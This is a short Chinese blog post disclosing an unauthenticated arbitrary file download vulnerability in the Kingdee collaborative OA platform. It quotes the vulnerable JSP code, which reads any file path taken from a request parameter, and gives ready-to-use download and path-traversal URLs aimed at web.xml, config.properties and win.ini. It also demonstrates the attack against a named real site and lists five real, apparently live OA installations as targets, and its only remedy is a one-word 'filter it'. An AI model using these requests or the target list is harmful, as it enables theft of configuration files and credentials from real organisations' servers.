金蝶协同办公平台任意文件下载漏洞(无需登录)

经测试发现,该系统存在任意文件下载,且无需登录

存在漏洞的文件:

/oa/admin/application/file_download.jsp?filePath=

http://x.x.x.x:7890/oa/fileDownload.do?type=File&path=/../webapp/WEB-INF/web.xml
/../oaconsole/config/config.properties
c:\windows\win.ini

部分漏洞代码为:

<%@ page import="java.util.Calendar,org.springside.core.Constants,cn.firstsoft.firstframe.admin.Environment"%><%

String logPath = request.getParameter("filePath")==null?"D:\\KingdeeOA\\Tomcat_5.5\\logs\\catalina.2007-12-29.log ":request.getParameter("filePath");

String contentType = request.getParameter("contentType")==null?"application/x-download":request.getParameter("contentType");

String fileName = request.getParameter("fileName")==null?"file.txt":request.getParameter("fileName");

java.io.OutputStream ou = null;

java.io.InputStream is = null;

try{

  java.io.File logFile = new java.io.File(logPath);

  if (logFile.exists()) {

  is = new java.io.FileInputStream(logPath);

  byte[] content = new byte[1024];

  int i = 0;

  response.setContentType(contentType);

  ou = response.getOutputStream();

  response.setHeader("Content-Disposition", "attachment; filename=\""+fileName+"\"");

  while ((i = is.read(content)) != -1) {

       ou.write(content, 0, i);

  }

  ou.flush(); 

 } else {

   out.println("file not found:"+logPath); 

 }

} catch (Exception e) {

   System.out.println(e);

} finally {

   if (ou != null) ou.close();

   if (is != null) is.close();

}

%>

很明显的任意文件下载漏洞,随便在网上找一个实例进行证明
http://oa.xpngs.com/oa/admin/application/file_download.jsp?filePath=c:\windows\win.ini

直接访问即可下载该文件了,保存的文件名为:file.txt

5个案例:

http://oa.xpngs.com/oa/themes/mskin/login/login.jsp

http://newoa.qingyitang.com:7890/oa/themes/mskin/login/login.jsp

http://wt.zhengtongauto.com/oa/themes/mskin/login/login.jsp

http://113.106.196.36:7890/oa/themes/mskin/login/login.jsp?login_error=quit

http://www.jrxoa.com/oa/themes/mskin/login/login.jsp

漏洞证明:
下载的文件

修复方案:
过滤吧

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

J0hnson666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值